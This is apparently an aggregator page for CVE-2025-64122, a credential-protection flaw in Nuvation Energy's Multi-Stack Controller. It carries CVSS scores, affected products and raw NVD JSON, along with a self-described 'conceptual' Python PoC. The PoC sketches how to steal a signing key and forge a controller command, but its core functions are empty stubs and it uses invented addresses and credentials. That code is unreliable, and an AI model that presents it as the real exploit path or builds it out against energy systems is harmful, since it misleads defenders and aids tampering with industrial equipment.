Security Vulnerability Report
中文
CVE-2025-64122 CVSS 5.5 MEDIUM

CVE-2025-64122

Published: 2026-01-02 22:15:45
Last Modified: 2026-02-26 19:59:25

Description

Insufficiently Protected Credentials vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows Signature Spoofing by Key Theft.This issue affects Multi-Stack Controller (MSC): through 2.5.1.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nuvation Energy Multi-Stack Controller (MSC) <= 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64122 PoC - Key Extraction and Signature Spoofing # Target: Nuvation Energy Multi-Stack Controller (MSC) <= 2.5.1 # Attack Vector: Local access required # Note: This is a conceptual PoC based on the vulnerability description import hashlib import hmac import struct def extract_keys_from_msc(target_ip, local_access_creds): """ Simulate key extraction from MSC device Requires local access to the controller """ # Step 1: Authenticate with local credentials session = authenticate_locally(target_ip, local_access_creds) # Step 2: Access key storage (unprotected credential storage) key_blob = read_unprotected_memory(session, address=0x1000) # Step 3: Extract signing keys signing_key = key_blob[:32] verification_key = key_blob[32:64] return signing_key, verification_key def forge_signature(signing_key, message): """ Forge a valid signature using extracted key """ return hmac.new(signing_key, message, hashlib.sha256).digest() def exploit_cve_2025_64122(target_ip, attacker_key_path=None): """ Main exploitation function for CVE-2025-64122 """ local_creds = { 'username': 'operator', 'password': 'default_or_stolen_password' } # Extract keys from vulnerable device signing_key, _ = extract_keys_from_msc(target_ip, local_creds) # Forge malicious command with valid signature malicious_command = b'CONTROLLER_OVERRIDE_CMD' forged_sig = forge_signature(signing_key, malicious_command) # Send forged signed command to MSC send_signed_command(target_ip, malicious_command, forged_sig) return True def authenticate_locally(ip, creds): """Simulate local authentication""" pass def read_unprotected_memory(session, address): """Read unprotected key storage""" pass def send_signed_command(ip, cmd, signature): """Send forged signed command""" pass if __name__ == '__main__': print('CVE-2025-64122 PoC - Nuvation Energy MSC Key Theft') print('Target: Nuvation Energy Multi-Stack Controller <= 2.5.1') print('Note: Requires local access to the target system')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64122", "sourceIdentifier": "[email protected]", "published": "2026-01-02T22:15:44.660", "lastModified": "2026-02-26T19:59:24.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficiently Protected Credentials vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows Signature Spoofing by Key Theft.This issue affects Multi-Stack Controller (MSC): through 2.5.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.1", "matchCriteriaId": "F9BA0E2A-0F4B-4705-BB79-DD5F30B40859"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7962681-518E-463D-889B-FA02F9C8DF4A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C8840C4-E139-4AF7-9B4C-DE42B69FC97D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "1E01ABFC-C5D6-4EAD-9109-BA76A946FF58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "3D41387A-89AB-4095-8DCA-181DE5695C5D"}]}]}], "references": [{"url": "https://www.dragos.com/community/advisories/CVE-2025-64119", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}